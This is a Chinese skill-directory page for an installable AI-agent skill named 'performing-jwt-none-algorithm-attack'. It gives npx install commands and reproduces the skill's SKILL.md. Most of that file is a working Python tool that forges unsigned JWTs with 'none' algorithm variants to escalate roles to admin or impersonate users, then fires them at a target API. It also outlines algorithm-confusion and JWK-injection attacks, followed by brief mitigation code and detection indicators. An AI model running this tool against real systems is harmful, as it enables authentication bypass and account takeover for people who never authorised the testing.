Token导航 LogoToken导航TokenDH.com
开发操作浏览器github未标认证来源可访问许可证需确认审计异常

performing-jwt-none-algorithm-attackperforming JWT none algorithm attack 安全

Agent Skill

用于辅助安全审计、权限检查、凭据风险、认证流程和常见漏洞排查。它适合让 Agent 梳理敏感配置、检查依赖风险、分析鉴权逻辑或生成安全复核清单。使用时不能把工具输出直接当最终结论,涉及密钥、令牌、用户数据或生产系统时,应先确认最小权限、脱敏方式和操作边界。

总安装

447

周安装

19

GitHub Stars

5,930

下载量

157
CodexClaudeCursorGemini CLI

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

GitHub

来源数

2

许可证

unknown

最后核验

2026-05-01

来源状态

来源可访问

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:performing-jwt-none-algorithm-attack(performing JWT none algorithm attack 安全)
来源仓库:https://github.com/mukul975/anthropic-cybersecurity-skills
仓库路径:skills/performing-jwt-none-algorithm-attack
安装命令:
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-jwt-none-algorithm-attack
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-jwt-none-algorithm-attack

简介

执行 JWT none algorithm 攻击,绕过签名验证机制。

  • 用于身份认证系统安全测试与协议缺陷验证。
  • 修改头部算法为 none,尝试伪造有效令牌。
  • 仅限授权测试,防止滥用导致账户接管或数据泄露。
  • performing-jwt-none-algorithm-attack 属于开发类 Skill,可作为该场景下的辅助能力补充。

SKILL.md

Performing JWT None Algorithm Attack

Overview

The JWT none algorithm attack exploits a vulnerability in JSON Web Token libraries that accept tokens with the alg header set to none, effectively bypassing signature verification. When a server processes a JWT with "alg": "none", it treats the token as valid without checking any cryptographic signature, allowing attackers to forge tokens with arbitrary claims such as escalated privileges, impersonated users, or extended expiration times. This vulnerability was first disclosed by Tim McLean in 2015 and has affected multiple JWT libraries across languages.

When to Use

  • When conducting security assessments that involve performing jwt none algorithm attack
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Target application using JWT for authentication or authorization
  • Ability to intercept and modify HTTP requests (Burp Suite, mitmproxy)
  • Python 3.8+ with PyJWT library for token crafting
  • Understanding of JWT structure (Header.Payload.Signature)
  • Authorization to perform security testing on the target
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

JWT Structure

A JWT consists of three Base64URL-encoded parts separated by dots:

Header.Payload.Signature

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.    # Header
eyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ.    # Payload
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c  # Signature

Attack Methodology

Step 1: Capture a Valid JWT

Intercept a legitimate JWT from the target application using Burp Suite or browser developer tools:

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Step 2: Decode and Analyze the Token

import base64
import json

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

parts = token.split('.')

# Decode header
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
print(f"Header: {header}")
# Output: {'alg': 'HS256', 'typ': 'JWT'}

# Decode payload
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
print(f"Payload: {payload}")
# Output: {'sub': '1234567890', 'name': 'John Doe', 'role': 'user', 'iat': 1516239022}

Step 3: Craft a Forged Token with None Algorithm

#!/usr/bin/env python3
"""JWT None Algorithm Attack Tool

Crafts JWT tokens with the 'none' algorithm to test for
signature verification bypass vulnerabilities.
"""

import base64
import json
import requests
import sys
from typing import Optional

class JWTNoneAttack:
    # All known variations of the 'none' algorithm value
    NONE_VARIANTS = [
        "none",
        "None",
        "NONE",
        "nOnE",
        "noNe",
        "NoNe",
        "nONE",
        "nonE",
    ]

    def __init__(self, target_url: str, original_token: str):
        self.target_url = target_url
        self.original_token = original_token
        self.original_header, self.original_payload = self._decode_token(original_token)

    def _base64url_encode(self, data: bytes) -> str:
        """Base64URL encode without padding."""
        return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')

    def _base64url_decode(self, data: str) -> bytes:
        """Base64URL decode with padding restoration."""
        padding = 4 - len(data) % 4
        if padding != 4:
            data += '=' * padding
        return base64.urlsafe_b64decode(data)

    def _decode_token(self, token: str) -> tuple:
        """Decode JWT header and payload."""
        parts = token.split('.')
        header = json.loads(self._base64url_decode(parts[0]))
        payload = json.loads(self._base64url_decode(parts[1]))
        return header, payload

    def craft_none_token(self, modified_payload: dict,
                          alg_variant: str = "none") -> str:
        """Craft a JWT with the none algorithm and modified payload."""
        # Create header with none algorithm
        header = {"alg": alg_variant, "typ": "JWT"}
        header_encoded = self._base64url_encode(json.dumps(header).encode())

        # Encode modified payload
        payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())

        # Token with empty signature (just trailing dot)
        return f"{header_encoded}.{payload_encoded}."

    def craft_privilege_escalation(self, role_field: str = "role",
                                     admin_value: str = "admin") -> list:
        """Create tokens with escalated privileges using all none variants."""
        tokens = []
        modified_payload = dict(self.original_payload)
        modified_payload[role_field] = admin_value

        for variant in self.NONE_VARIANTS:
            token = self.craft_none_token(modified_payload, variant)
            tokens.append({"variant": variant, "token": token})

        return tokens

    def craft_user_impersonation(self, target_user_id: str,
                                   user_field: str = "sub") -> str:
        """Create a token impersonating another user."""
        modified_payload = dict(self.original_payload)
        modified_payload[user_field] = target_user_id
        return self.craft_none_token(modified_payload)

    def test_none_variants(self, endpoint: str = "/api/profile",
                            headers: Optional[dict] = None) -> list:
        """Test all none algorithm variants against the target."""
        results = []
        base_headers = headers or {}

        for variant in self.NONE_VARIANTS:
            modified_payload = dict(self.original_payload)
            modified_payload["role"] = "admin"
            token = self.craft_none_token(modified_payload, variant)

            test_headers = dict(base_headers)
            test_headers["Authorization"] = f"Bearer {token}"

            try:
                response = requests.get(
                    f"{self.target_url}{endpoint}",
                    headers=test_headers,
                    timeout=10
                )
                result = {
                    "variant": variant,
                    "status_code": response.status_code,
                    "accepted": response.status_code == 200,
                    "response_length": len(response.content),
                }
                results.append(result)

                if response.status_code == 200:
                    print(f"  [VULNERABLE] alg='{variant}' -> {response.status_code}")
                else:
                    print(f"  [SAFE] alg='{variant}' -> {response.status_code}")

            except requests.exceptions.RequestException as e:
                results.append({
                    "variant": variant,
                    "status_code": 0,
                    "accepted": False,
                    "error": str(e)
                })

        return results

    def test_empty_signature_variants(self) -> list:
        """Test different empty signature formats."""
        modified_payload = dict(self.original_payload)
        modified_payload["role"] = "admin"
        header = {"alg": "none", "typ": "JWT"}

        header_encoded = self._base64url_encode(json.dumps(header).encode())
        payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())

        # Different signature formats
        variants = [
            f"{header_encoded}.{payload_encoded}.",      # Empty signature with trailing dot
            f"{header_encoded}.{payload_encoded}",       # No trailing dot
            f"{header_encoded}.{payload_encoded}.AA==",  # Minimal base64 signature
        ]

        results = []
        for token in variants:
            results.append({"token_format": token[-20:], "token": token})

        return results

def main():
    if len(sys.argv) < 3:
        print("Usage: python jwt_none_attack.py <target_url> <original_token>")
        print("Example: python jwt_none_attack.py https://api.example.com eyJhbG...")
        sys.exit(1)

    target_url = sys.argv[1]
    original_token = sys.argv[2]

    attacker = JWTNoneAttack(target_url, original_token)

    print(f"\nOriginal Token Header: {attacker.original_header}")
    print(f"Original Token Payload: {attacker.original_payload}")

    print(f"\n{'='*60}")
    print("Testing None Algorithm Variants")
    print(f"{'='*60}")
    results = attacker.test_none_variants()

    vulnerable = [r for r in results if r.get("accepted")]
    if vulnerable:
        print(f"\n[!] VULNERABLE: {len(vulnerable)} variant(s) accepted!")
        print("[!] The server does not properly validate JWT signatures")
    else:
        print(f"\n[+] SECURE: All none algorithm variants were rejected")

if __name__ == "__main__":
    main()

Step 4: Additional JWT Attack Variants

Algorithm Confusion (RS256 to HS256): If the server uses RS256 (asymmetric), an attacker who knows the public key can:

  1. Change alg to HS256
  2. Sign the token using the public key as the HMAC secret
  3. The server may verify the signature using its public key as an HMAC key

JWK Header Injection (CVE-2018-0114):

{
  "alg": "RS256",
  "typ": "JWT",
  "jwk": {
    "kty": "RSA",
    "n": "<attacker-controlled-key>",
    "e": "AQAB"
  }
}

Mitigation Strategies

# Secure JWT verification - always specify allowed algorithms
import jwt

def verify_token_secure(token: str, secret_key: str) -> dict:
    """Verify JWT with explicit algorithm allowlist."""
    try:
        payload = jwt.decode(
            token,
            secret_key,
            algorithms=["HS256"],  # CRITICAL: Explicit allowlist
            options={
                "require": ["exp", "iat", "sub"],  # Required claims
                "verify_exp": True,
                "verify_iat": True,
            }
        )
        return payload
    except jwt.InvalidAlgorithmError:
        raise ValueError("Invalid token algorithm")
    except jwt.ExpiredSignatureError:
        raise ValueError("Token expired")
    except jwt.InvalidTokenError:
        raise ValueError("Invalid token")

Detection Indicators

  • JWT tokens with "alg": "none" (or case variations) in server logs
  • Tokens with empty or missing signature segments
  • Sudden change in algorithm field from normal patterns
  • Tokens with modified claims (role escalation) from the same session
  • Authorization header containing tokens with only two Base64 segments

References

适合场景

01

用户想查找某类 Agent Skill 时

02

需要根据任务场景推荐可安装能力包时

03

需要对比不同来源的安装命令和来源信息时

能力概览

能力 1

按任务关键词查找相关 Skills

能力 2

展示可复制的安装命令

能力 3

保留来源站点、仓库和原始说明,方便继续核验

能力 4

展示第三方安全扫描或审计结果

安装后应在对应宿主中按原始 README 的触发条件使用;具体调用方式请以来源页面和 README 为准。

平台分布

Codex

36.55%
按下载量换算57

Claude

29.76%
按下载量换算47

Cursor

19%
按下载量换算30

Gemini CLI

8.76%
按下载量换算14

安全审计

Gen Agent Trust Hub

通过

Socket

可疑

Snyk

未通过

权限和风险

操作浏览器

该 Skill 可能涉及浏览器控制能力,使用时可能读取或操作网页内容,需要在受控环境中确认权限边界。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在 warning/failed 结果,不能写成本站确认安全。当前只有一个来源,正式发布前建议补源仓库或其他目录站核验。

来源信息

继续浏览同类 Skills